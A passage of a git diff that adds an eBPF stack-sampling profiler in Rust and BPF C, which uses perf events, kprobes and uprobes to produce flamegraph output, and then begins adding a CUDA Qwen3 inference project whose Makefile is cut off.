"vsprintf" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aec2f81b75ca063294776b4f7e8da71d1d5ae81c2b1b149c8d89969230265d63" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "wasi" +version = "0.14.2+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3" +dependencies = [ + "wit-bindgen-rt", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-link" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.53.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5fe6031c4041849d7c496a8ded650796e7b6ecc19df1a431c1a363342e5dc91" +dependencies = [ + "windows-link", + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" + +[[package]] +name = "wit-bindgen-rt" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1" +dependencies = [ + "bitflags", +] diff --git a/src/xpu/flamegraph/profiler/Cargo.toml b/src/xpu/flamegraph/profiler/Cargo.toml new file mode 100644 index 00000000..78d5e1c3 --- /dev/null +++ b/src/xpu/flamegraph/profiler/Cargo.toml @@ -0,0 +1,19 @@ +[package] +name = "profile" +version = "0.1.0" +authors = ["Kuifeng Lee "] +license = "GPL-2.0 OR BSD-3-Clause" +edition = "2021" +rust-version = "1.71" + +[dependencies] +blazesym = { version = "0.2.0-rc.4",features = ["tracing"] } +clap = { version = "4.5", features = ["derive"] } +libbpf-rs = "0.24" +libc = "*" +nix = "0.29.0" +tracing = "0.1" +tracing-subscriber = {version = "0.3", features = ["ansi", "env-filter", "fmt"]} + +[build-dependencies] +libbpf-cargo = "0.24" diff --git a/src/xpu/flamegraph/profiler/build.rs b/src/xpu/flamegraph/profiler/build.rs new file mode 100644 index 00000000..2b8bdbc4 --- /dev/null +++ b/src/xpu/flamegraph/profiler/build.rs @@ -0,0 +1,30 @@ +use std::env; +use std::ffi::OsStr; +use std::path::Path; +use std::path::PathBuf; + +use libbpf_cargo::SkeletonBuilder; + +const SRC: &str = "src/bpf/profile.bpf.c"; + +fn main() { + let mut out = + PathBuf::from(env::var_os("OUT_DIR").expect("OUT_DIR must be set in build script")); + out.push("profile.skel.rs"); + + let arch = env::var("CARGO_CFG_TARGET_ARCH") + .expect("CARGO_CFG_TARGET_ARCH must be set in build script"); + + // Ensure we're building for a supported architecture + println!("cargo:warning=Building for architecture: {}", arch); + + SkeletonBuilder::new() + .source(SRC) + .clang_args([ + OsStr::new("-I"), + Path::new("../vmlinux").as_os_str() + ]) + .build_and_generate(out) + .expect("bpf compilation failed"); + println!("cargo:rerun-if-changed={}", SRC); +} diff --git a/src/xpu/flamegraph/profiler/src/bpf/profile.bpf.c b/src/xpu/flamegraph/profiler/src/bpf/profile.bpf.c new file mode 100644 index 00000000..7896e594 --- /dev/null +++ b/src/xpu/flamegraph/profiler/src/bpf/profile.bpf.c @@ -0,0 +1,88 @@ +// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause +/* Copyright (c) 2022 Meta Platforms, Inc. */ +#include "vmlinux.h" +#include +#include +#include + +#include "profile.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} events SEC(".maps"); + +// Shared helper to collect stack trace +static __always_inline int collect_stack_trace(void *ctx, u64 cookie) +{ + int pid = bpf_get_current_pid_tgid() >> 32; + int cpu_id = bpf_get_smp_processor_id(); + struct stacktrace_event *event; + + event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); + if (!event) + return 1; + + event->pid = pid; + event->cpu_id = cpu_id; + event->timestamp = bpf_ktime_get_ns(); + + if (bpf_get_current_comm(event->comm, sizeof(event->comm))) + event->comm[0] = 0; + + // Store probe_id in cpu_id field when in probe mode + // In perf mode: cpu_id is actual CPU + // In probe mode: cpu_id is probe_id, actual CPU stored in pid high bits if needed + if (cookie != 0) { + event->cpu_id = (u32)cookie; // probe_id from bpf_get_attach_cookie + } + + event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0); + + event->ustack_sz = + bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK); + + bpf_ringbuf_submit(event, 0); + + return 0; +} + +SEC("perf_event") +int profile(void *ctx) +{ + return collect_stack_trace(ctx, 0); +} + +// Generic kprobe handler +SEC("kprobe") +int kprobe_handler(struct pt_regs *ctx) +{ + u64 probe_id = bpf_get_attach_cookie(ctx); + return collect_stack_trace(ctx, probe_id); +} + +// Generic kretprobe handler +SEC("kretprobe") +int kretprobe_handler(struct pt_regs *ctx) +{ + u64 probe_id = bpf_get_attach_cookie(ctx); + return collect_stack_trace(ctx, probe_id); +} + +// Generic uprobe handler +SEC("uprobe") +int uprobe_handler(struct pt_regs *ctx) +{ + u64 probe_id = bpf_get_attach_cookie(ctx); + return collect_stack_trace(ctx, probe_id); +} + +// Generic uretprobe handler +SEC("uretprobe") +int uretprobe_handler(struct pt_regs *ctx) +{ + u64 probe_id = bpf_get_attach_cookie(ctx); + return collect_stack_trace(ctx, probe_id); +} diff --git a/src/xpu/flamegraph/profiler/src/bpf/profile.h b/src/xpu/flamegraph/profiler/src/bpf/profile.h new file mode 100644 index 00000000..5536ffdf --- /dev/null +++ b/src/xpu/flamegraph/profiler/src/bpf/profile.h @@ -0,0 +1,27 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +/* Copyright (c) 2022 Meta Platforms, Inc. */ +#ifndef __PROFILE_H_ +#define __PROFILE_H_ + +#ifndef TASK_COMM_LEN +#define TASK_COMM_LEN 16 +#endif + +#ifndef MAX_STACK_DEPTH +#define MAX_STACK_DEPTH 128 +#endif + +typedef __u64 stack_trace_t[MAX_STACK_DEPTH]; + +struct stacktrace_event { + __u32 pid; + __u32 cpu_id; + __u64 timestamp; + char comm[TASK_COMM_LEN]; + __s32 kstack_sz; + __s32 ustack_sz; + stack_trace_t kstack; + stack_trace_t ustack; +}; + +#endif /* __PROFILE_H_ */ diff --git a/src/xpu/flamegraph/profiler/src/event.rs b/src/xpu/flamegraph/profiler/src/event.rs new file mode 100644 index 00000000..d07892b8 --- /dev/null +++ b/src/xpu/flamegraph/profiler/src/event.rs @@ -0,0 +1,309 @@ +use std::mem; +use std::time::{SystemTime, UNIX_EPOCH}; +use blazesym::symbolize; +use nix::sys::sysinfo; + +pub const MAX_STACK_DEPTH: usize = 128; +pub const TASK_COMM_LEN: usize = 16; +const ADDR_WIDTH: usize = 16; + +// A Rust version of stacktrace_event in profile.h +#[repr(C)] +pub struct StacktraceEvent { + pub pid: u32, + pub cpu_id: u32, + pub timestamp: u64, + pub comm: [u8; TASK_COMM_LEN], + pub kstack_size: i32, + pub ustack_size: i32, + pub kstack: [u64; MAX_STACK_DEPTH], + pub ustack: [u64; MAX_STACK_DEPTH], +} + +pub enum OutputFormat { + Standard, + FoldedExtended, +} + +pub struct EventHandler { + symbolizer: symbolize::Symbolizer, + format: OutputFormat, + boot_time_ns: u64, +} + +impl EventHandler { + pub fn new(format: OutputFormat) -> Self { + // Get system uptime to calculate boot time + let boot_time_ns = Self::get_boot_time_ns(); + + Self { + symbolizer: symbolize::Symbolizer::new(), + format, + boot_time_ns, + } + } + + fn get_boot_time_ns() -> u64 { + // Get current Unix timestamp in nanoseconds + let now = SystemTime::now() + .duration_since(UNIX_EPOCH) + .expect("System time before Unix epoch"); + let now_ns = now.as_nanos() as u64; + + // Get system uptime in nanoseconds + let info = sysinfo::sysinfo().expect("Failed to get sysinfo"); + let uptime_ns = (info.uptime().as_secs_f64() * 1_000_000_000.0) as u64; + + // Boot time = current time - uptime + now_ns - uptime_ns + } + + pub fn handle(&self, data: &[u8]) -> ::std::os::raw::c_int { + if data.len() != mem::size_of::() { + eprintln!( + "Invalid size {} != {}", + data.len(), + mem::size_of::() + ); + return 1; + } + + let event = unsafe { &*(data.as_ptr() as *const StacktraceEvent) }; + + if event.kstack_size <= 0 && event.ustack_size <= 0 { + return 1; + } + + match self.format { + OutputFormat::Standard => self.handle_standard(event), + OutputFormat::FoldedExtended => self.handle_folded_extended(event), + } + + 0 + } + + // Helper to extract stack slice + fn get_stack_slice<'a>(stack: &'a [u64; MAX_STACK_DEPTH], size: i32) -> &'a [u64] { + if size > 0 { + &stack[0..(size as usize / mem::size_of::())] + } else { + &[] + } + } + + // Helper to get command name + fn get_comm_str(comm: &[u8; TASK_COMM_LEN]) -> &str { + std::str::from_utf8(comm) + .unwrap_or("") + .trim_end_matches('\0') + } + + fn handle_standard(&self, event: &StacktraceEvent) { + let comm = Self::get_comm_str(&event.comm); + // Convert kernel timestamp to Unix timestamp + let unix_timestamp_ns = event.timestamp + self.boot_time_ns; + let timestamp_sec = unix_timestamp_ns / 1_000_000_000; + let timestamp_nsec = unix_timestamp_ns % 1_000_000_000; + println!("[{}.{:09}] COMM: {} (pid={}) @ CPU {}", + timestamp_sec, timestamp_nsec, comm, event.pid, event.cpu_id); + + if event.kstack_size > 0 { + println!("Kernel:"); + let kstack = Self::get_stack_slice(&event.kstack, event.kstack_size); + show_stack_trace(kstack, &self.symbolizer, 0); + } else { + println!("No Kernel Stack"); + } + + if event.ustack_size > 0 { + println!("Userspace:"); + let ustack = Self::get_stack_slice(&event.ustack, event.ustack_size); + show_stack_trace(ustack, &self.symbolizer, event.pid); + } else { + println!("No Userspace Stack"); + } + + println!(); + } + + fn handle_folded_extended(&self, event: &StacktraceEvent) { + let comm = Self::get_comm_str(&event.comm); + let tid = event.pid; // For single-threaded processes, TID = PID + + let mut stack_frames = Vec::new(); + + // Process user stack (if present) + if event.ustack_size > 0 { + let ustack = Self::get_stack_slice(&event.ustack, event.ustack_size); + let user_frames = symbolize_stack_to_vec(&self.symbolizer, ustack, event.pid); + + // Add user frames in reverse order (top to bottom) + for frame in user_frames.iter().rev() { + stack_frames.push(frame.clone()); + } + } + + // Process kernel stack (if present) + if event.kstack_size > 0 { + let kstack = Self::get_stack_slice(&event.kstack, event.kstack_size); + let kernel_frames = symbolize_stack_to_vec(&self.symbolizer, kstack, 0); + + // Add kernel frames with [k] suffix in reverse order (top to bottom) + for frame in kernel_frames.iter().rev() { + stack_frames.push(format!("{}_[k]", frame)); + } + } + + // Format: timestamp_ns comm pid tid cpu stack1;stack2;stack3 + // Convert kernel timestamp to Unix timestamp + let unix_timestamp_ns = event.timestamp + self.boot_time_ns; + println!( + "{} {} {} {} {} {}", + unix_timestamp_ns, + comm, + event.pid, + tid, + event.cpu_id, + stack_frames.join(";") + ); + } +} + + +fn print_frame( + name: &str, + addr_info: Option<(blazesym::Addr, blazesym::Addr, usize)>, + code_info: &Option, +) { + let code_info = code_info.as_ref().map(|code_info| { + let path = code_info.to_path(); + let path = path.display(); + + match (code_info.line, code_info.column) { + (Some(line), Some(col)) => format!(" {path}:{line}:{col}"), + (Some(line), None) => format!(" {path}:{line}"), + (None, _) => format!(" {path}"), + } + }); + + if let Some((input_addr, addr, offset)) = addr_info { + // If we have various address information bits we have a new symbol. + println!( + "{input_addr:#0width$x}: {name} @ {addr:#x}+{offset:#x}{code_info}", + code_info = code_info.as_deref().unwrap_or(""), + width = ADDR_WIDTH + ) + } else { + // Otherwise we are dealing with an inlined call. + println!( + "{:width$} {name}{code_info} [inlined]", + " ", + code_info = code_info + .map(|info| format!(" @{info}")) + .as_deref() + .unwrap_or(""), + width = ADDR_WIDTH + ) + } +} + +// Helper function to convert stack addresses for blazesym +fn convert_stack_addresses(stack: &[u64]) -> Vec { + if mem::size_of::() != mem::size_of::() { + stack + .iter() + .copied() + .map(|addr| addr as blazesym::Addr) + .collect::>() + } else { + // For same-sized types, still need to return owned data for consistency + stack.iter().copied().map(|addr| addr as blazesym::Addr).collect() + } +} + +// Get the stack addresses as a slice (avoiding lifetime issues) +fn get_stack_slice<'a>(stack: &'a [u64], converted: &'a [blazesym::Addr]) -> &'a [blazesym::Addr] { + if mem::size_of::() != mem::size_of::() { + converted + } else { + // SAFETY: `Addr` has the same size as `u64`, so it can be trivially and + // safely converted. + unsafe { mem::transmute::<_, &[blazesym::Addr]>(stack) } + } +} + +// Get source for symbolization based on PID (0 means kernel) +fn get_symbolize_source(pid: u32) -> symbolize::source::Source<'static> { + if pid == 0 { + symbolize::source::Source::from(symbolize::source::Kernel::default()) + } else { + symbolize::source::Source::from(symbolize::source::Process::new(pid.into())) + } +} + +// Symbolize stack and return as vector of strings for folded format +fn symbolize_stack_to_vec(symbolizer: &symbolize::Symbolizer, stack: &[u64], pid: u32) -> Vec { + let converted = convert_stack_addresses(stack); + let stack_addrs = get_stack_slice(stack, &converted); + let src = get_symbolize_source(pid); + + let syms = match symbolizer.symbolize(&src, symbolize::Input::AbsAddr(stack_addrs)) { + Ok(syms) => syms, + Err(_) => { + // Return addresses if symbolization fails + return stack_addrs.iter().map(|addr| format!("{:#x}", addr)).collect(); + } + }; + + let mut result = Vec::new(); + for (addr, sym) in stack_addrs.iter().copied().zip(syms) { + match sym { + symbolize::Symbolized::Sym(symbolize::Sym { + name, + .. + }) => { + result.push(name.to_string()); + } + symbolize::Symbolized::Unknown(..) => { + result.push(format!("{:#x}", addr)); + } + } + } + result +} + +// Pid 0 means a kernel space stack. +fn show_stack_trace(stack: &[u64], symbolizer: &symbolize::Symbolizer, pid: u32) { + let converted = convert_stack_addresses(stack); + let stack_addrs = get_stack_slice(stack, &converted); + let src = get_symbolize_source(pid); + + let syms = match symbolizer.symbolize(&src, symbolize::Input::AbsAddr(stack_addrs)) { + Ok(syms) => syms, + Err(err) => { + eprintln!(" failed to symbolize addresses: {err:#}"); + return; + } + }; + + for (input_addr, sym) in stack_addrs.iter().copied().zip(syms) { + match sym { + symbolize::Symbolized::Sym(symbolize::Sym { + name, + addr, + offset, + code_info, + inlined, + .. + }) => { + print_frame(&name, Some((input_addr, addr, offset)), &code_info); + for frame in inlined.iter() { + print_frame(&frame.name, None, &frame.code_info); + } + } + symbolize::Symbolized::Unknown(..) => { + println!("{input_addr:#0width$x}: ", width = ADDR_WIDTH) + } + } + } +} \ No newline at end of file diff --git a/src/xpu/flamegraph/profiler/src/main.rs b/src/xpu/flamegraph/profiler/src/main.rs new file mode 100644 index 00000000..ec5fa4bc --- /dev/null +++ b/src/xpu/flamegraph/profiler/src/main.rs @@ -0,0 +1,191 @@ +use std::mem::MaybeUninit; +use std::time::Duration; +use std::sync::mpsc; +use std::thread; + +use clap::ArgAction; +use clap::Parser; + +use libbpf_rs::skel::OpenSkel as _; +use libbpf_rs::skel::SkelBuilder as _; +use libbpf_rs::UprobeOpts; + +use tracing::subscriber::set_global_default as set_global_subscriber; +use tracing_subscriber::filter::LevelFilter; +use tracing_subscriber::fmt::format::FmtSpan; +use tracing_subscriber::fmt::time::SystemTime; +use tracing_subscriber::FmtSubscriber; + +mod profile { + include!(concat!(env!("OUT_DIR"), "/profile.skel.rs")); +} +mod syscall; +mod event; +mod perf; + +use profile::*; + +#[derive(Parser, Debug)] +struct Args { + /// Sampling frequency (only used in perf mode) + #[arg(short, default_value_t = 50)] + freq: u64, + /// Increase verbosity (can be supplied multiple times). + #[arg(short = 'v', long = "verbose", global = true, action = ArgAction::Count)] + verbosity: u8, + /// Use software event for triggering stack trace capture. + /// + /// This can be useful for compatibility reasons if hardware event is not available + /// (which could happen in a virtual machine, for example). + #[arg(long = "sw-event")] + sw_event: bool, + /// Filter by PID (optional) + #[arg(short = 'p', long = "pid")] + pid: Option, + /// Output in extended folded format (timestamp_ns comm pid tid cpu stack1;stack2;...) + #[arg(short = 'E', long = "fold-extend")] + fold_extend: bool, + /// Attach to kprobe (format: "symbol" e.g. "tcp_v4_connect") + /// Can be specified multiple times + #[arg(long = "kprobe")] + kprobes: Vec, + /// Attach to kretprobe (format: "symbol") + #[arg(long = "kretprobe")] + kretprobes: Vec, + /// Attach to uprobe (format: "binary:symbol" e.g. "/lib/libc.so.6:malloc") + #[arg(long = "uprobe")] + uprobes: Vec, + /// Attach to uretprobe (format: "binary:symbol") + #[arg(long = "uretprobe")] + uretprobes: Vec, +} + +fn main() -> Result<(), libbpf_rs::Error> { + let args = Args::parse(); + let level = match args.verbosity { + 0 => LevelFilter::WARN, + 1 => LevelFilter::INFO, + 2 => LevelFilter::DEBUG, + _ => LevelFilter::TRACE, + }; + + let subscriber = FmtSubscriber::builder() + .with_max_level(level) + .with_span_events(FmtSpan::FULL) + .with_timer(SystemTime) + .finish(); + let () = set_global_subscriber(subscriber).expect("failed to set tracing subscriber"); + + let skel_builder = ProfileSkelBuilder::default(); + let mut open_object = MaybeUninit::uninit(); + let open_skel = skel_builder.open(&mut open_object).unwrap(); + let skel = open_skel.load().unwrap(); + + let _perf_links; + let mut pefds = Vec::new(); + let mut _probe_links = Vec::new(); + let mut probe_id: u32 = 1; + + let has_probes = !args.kprobes.is_empty() || !args.kretprobes.is_empty() + || !args.uprobes.is_empty() || !args.uretprobes.is_empty(); + + if has_probes { + // Attach kprobes + for symbol in &args.kprobes { + let link = skel.progs.kprobe_handler.attach_kprobe(false, symbol)?; + eprintln!("Attached kprobe (id={}): {}", probe_id, symbol); + _probe_links.push(link); + probe_id += 1; + } + + // Attach kretprobes + for symbol in &args.kretprobes { + let link = skel.progs.kretprobe_handler.attach_kprobe(true, symbol)?; + eprintln!("Attached kretprobe (id={}): {}", probe_id, symbol); + _probe_links.push(link); + probe_id += 1; + } + + // Attach uprobes + for spec in &args.uprobes { + let parts: Vec<&str> = spec.split(':').collect(); + if parts.len() != 2 { + eprintln!("Error: uprobe format should be 'binary:symbol'"); + std::process::exit(1); + } + let opts = UprobeOpts { + func_name: parts[1].to_string(), + cookie: probe_id as u64, + retprobe: false, + ..Default::default() + }; + let link = skel.progs.uprobe_handler.attach_uprobe_with_opts(-1, parts[0], 0, opts)?; + eprintln!("Attached uprobe (id={}): {} in {}", probe_id, parts[1], parts[0]); + _probe_links.push(link); + probe_id += 1; + } + + // Attach uretprobes + for spec in &args.uretprobes { + let parts: Vec<&str> = spec.split(':').collect(); + if parts.len() != 2 { + eprintln!("Error: uretprobe format should be 'binary:symbol'"); + std::process::exit(1); + } + let opts = UprobeOpts { + func_name: parts[1].to_string(), + cookie: probe_id as u64, + retprobe: true, + ..Default::default() + }; + let link = skel.progs.uretprobe_handler.attach_uprobe_with_opts(-1, parts[0], 0, opts)?; + eprintln!("Attached uretprobe (id={}): {} in {}", probe_id, parts[1], parts[0]); + _probe_links.push(link); + probe_id += 1; + } + } else { + // Perf mode + let freq = if args.freq < 1 { 1 } else { args.freq }; + pefds = perf::init_perf_monitor(freq, args.sw_event, args.pid)?; + _perf_links = perf::attach_perf_event(&pefds, &skel.progs.profile); + eprintln!("Perf mode: sampling at {} Hz", freq); + } + + let output_format = if args.fold_extend { + event::OutputFormat::FoldedExtended + } else { + event::OutputFormat::Standard + }; + + let (tx, rx) = mpsc::channel::>(); + + // Spawn processing thread + let processing_thread = thread::spawn(move || { + let event_handler = event::EventHandler::new(output_format); + for event_data in rx { + event_handler.handle(&event_data); + } + }); + + let mut builder = libbpf_rs::RingBufferBuilder::new(); + builder + .add(&skel.maps.events, move |data| { + let _ = tx.send(data.to_vec()); + 0 + }) + .unwrap(); + + let ringbuf = builder.build().unwrap(); + while ringbuf.poll(Duration::MAX).is_ok() {} + + // Wait for processing thread to finish + drop(ringbuf); + let _ = processing_thread.join(); + + // Clean up perf events if in perf mode + if !pefds.is_empty() { + perf::close_perf_events(pefds)?; + } + + Ok(()) +} diff --git a/src/xpu/flamegraph/profiler/src/perf.rs b/src/xpu/flamegraph/profiler/src/perf.rs new file mode 100644 index 00000000..2644f4c7 --- /dev/null +++ b/src/xpu/flamegraph/profiler/src/perf.rs @@ -0,0 +1,63 @@ +use std::io; +use std::mem; +use nix::unistd::close; +use libbpf_rs::ErrorExt as _; + +use crate::syscall; + +pub fn init_perf_monitor(freq: u64, sw_event: bool, pid_filter: Option) -> Result, libbpf_rs::Error> { + let nprocs = libbpf_rs::num_possible_cpus().unwrap(); + let pid = pid_filter.unwrap_or(-1); + let attr = syscall::perf_event_attr { + _type: if sw_event { + syscall::PERF_TYPE_SOFTWARE + } else { + syscall::PERF_TYPE_HARDWARE + }, + size: mem::size_of::() as u32, + config: if sw_event { + syscall::PERF_COUNT_SW_CPU_CLOCK + } else { + syscall::PERF_COUNT_HW_CPU_CYCLES + }, + sample: syscall::sample_un { sample_freq: freq }, + flags: 1 << 10, // freq = 1 + ..Default::default() + }; + (0..nprocs) + .map(|cpu| { + let fd = syscall::perf_event_open(&attr, pid, cpu as i32, -1, 0) as i32; + if fd == -1 { + let mut error_context = "Failed to open perf event."; + let os_error = io::Error::last_os_error(); + if !sw_event && os_error.kind() == io::ErrorKind::NotFound { + error_context = "Failed to open perf event.\n\ + Try running the profile example with the `--sw-event` option."; + } + Err(libbpf_rs::Error::from(os_error)).context(error_context) + } else { + Ok(fd) + } + }) + .collect() +} + +pub fn attach_perf_event( + pefds: &[i32], + prog: &libbpf_rs::ProgramMut, +) -> Vec> { + pefds + .iter() + .map(|pefd| prog.attach_perf_event(*pefd)) + .collect() +} + +pub fn close_perf_events(pefds: Vec) -> Result<(), libbpf_rs::Error> { + for pefd in pefds { + close(pefd) + .map_err(io::Error::from) + .map_err(libbpf_rs::Error::from) + .context("failed to close perf event")?; + } + Ok(()) +} \ No newline at end of file diff --git a/src/xpu/flamegraph/profiler/src/syscall.rs b/src/xpu/flamegraph/profiler/src/syscall.rs new file mode 100644 index 00000000..c12fc738 --- /dev/null +++ b/src/xpu/flamegraph/profiler/src/syscall.rs @@ -0,0 +1,90 @@ +use std::mem; + +extern crate libc; + +#[repr(C)] +pub union sample_un { + pub sample_period: u64, + pub sample_freq: u64, +} + +#[repr(C)] +pub union wakeup_un { + pub wakeup_events: u32, + pub wakeup_atermark: u32, +} + +#[repr(C)] +pub union bp_1_un { + pub bp_addr: u64, + pub kprobe_func: u64, + pub uprobe_path: u64, + pub config1: u64, +} + +#[repr(C)] +pub union bp_2_un { + pub bp_len: u64, + pub kprobe_addr: u64, + pub probe_offset: u64, + pub config2: u64, +} + +#[repr(C)] +pub struct perf_event_attr { + pub _type: u32, + pub size: u32, + pub config: u64, + pub sample: sample_un, + pub sample_type: u64, + pub read_format: u64, + pub flags: u64, + pub wakeup: wakeup_un, + pub bp_type: u32, + pub bp_1: bp_1_un, + pub bp_2: bp_2_un, + pub branch_sample_type: u64, + pub sample_regs_user: u64, + pub sample_stack_user: u32, + pub clockid: i32, + pub sample_regs_intr: u64, + pub aux_watermark: u32, + pub sample_max_stack: u16, + pub __reserved_2: u16, + pub aux_sample_size: u32, + pub __reserved_3: u32, +} + +impl Default for perf_event_attr { + fn default() -> Self { + unsafe { mem::zeroed() } + } +} + +pub const PERF_TYPE_HARDWARE: u32 = 0; +pub const PERF_TYPE_SOFTWARE: u32 = 1; +pub const PERF_COUNT_HW_CPU_CYCLES: u64 = 0; +pub const PERF_COUNT_SW_CPU_CLOCK: u64 = 0; + +extern "C" { + fn syscall(number: libc::c_long, ...) -> libc::c_long; +} + +pub fn perf_event_open( + hw_event: &perf_event_attr, + pid: libc::pid_t, + cpu: libc::c_int, + group_fd: libc::c_int, + flags: libc::c_ulong, +) -> libc::c_long { + unsafe { + syscall( + libc::SYS_perf_event_open, + hw_event as *const perf_event_attr, + pid, + cpu, + group_fd, + flags, + ) + } +} diff --git a/src/xpu/flamegraph/qwen3.cu/.gitattributes b/src/xpu/flamegraph/qwen3.cu/.gitattributes new file mode 100644 index 00000000..e18ec672 --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/.gitattributes @@ -0,0 +1 @@ +convert_hf_to_gguf_ordered.py linguist-vendored diff --git a/src/xpu/flamegraph/qwen3.cu/.gitignore b/src/xpu/flamegraph/qwen3.cu/.gitignore new file mode 100644 index 00000000..50c3520b --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/.gitignore @@ -0,0 +1,10 @@ +*.i +*.ii +*.gpu +*.ptx +*.cubin +*.fatbin +runcu +runcublas +*.gguf +Qwen3-0.6B-GGUF-FP32/ diff --git a/src/xpu/flamegraph/qwen3.cu/LICENSE b/src/xpu/flamegraph/qwen3.cu/LICENSE new file mode 100644 index 00000000..6c139264 --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 William Song + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/src/xpu/flamegraph/qwen3.cu/Makefile b/src/xpu/flamegraph/qwen3.cu/Makefile new file mode 100644 index 00000000..63d1c31d --- /dev/null +++ b/src/xpu/flamegraph/qwen3.cu/Makefile @@ -0,0 +1,69 @@ +# choose your compiler, e.g. gcc/clang +# example override to clang: make run CC=clang +CC = gcc +# For CUDA compile +CUDA_INSTALL_PATH ?= /usr/local/cuda-12.9 +NVCC := "$(CUDA_INSTALL_PATH)/bin/nvcc" +INCLUDES := -I"$(CUDA_INSTALL_PATH)/include" +LIB_PATH ?= $(CUDA_INSTALL_PATH)/lib64 + +# compile the Cuda version (with dynamic libcudart for eBPF uprobe profiling) +# Use -Xcompiler to pass frame pointer flag to host compiler for eBPF stack unwinding +.PHONY: runcu +runcu: runcu.cu + $(NVCC) $(INCLUDES) -O2 -Xcompiler -fno-omit-frame-pointer -Wno-deprecated-gpu-targets --no-device-link -o runcu runcu.cu -L $(LIB_PATH) -lcudart -lm +# compile cublas included +.PHONY: runcublas +runcublas: runcu.cu + $(NVCC) $(INCLUDES) -O3 -Wno-deprecated-gpu-targets --no-device-link -DUSE_CUBLAS -o runcublas runcu.cu -L 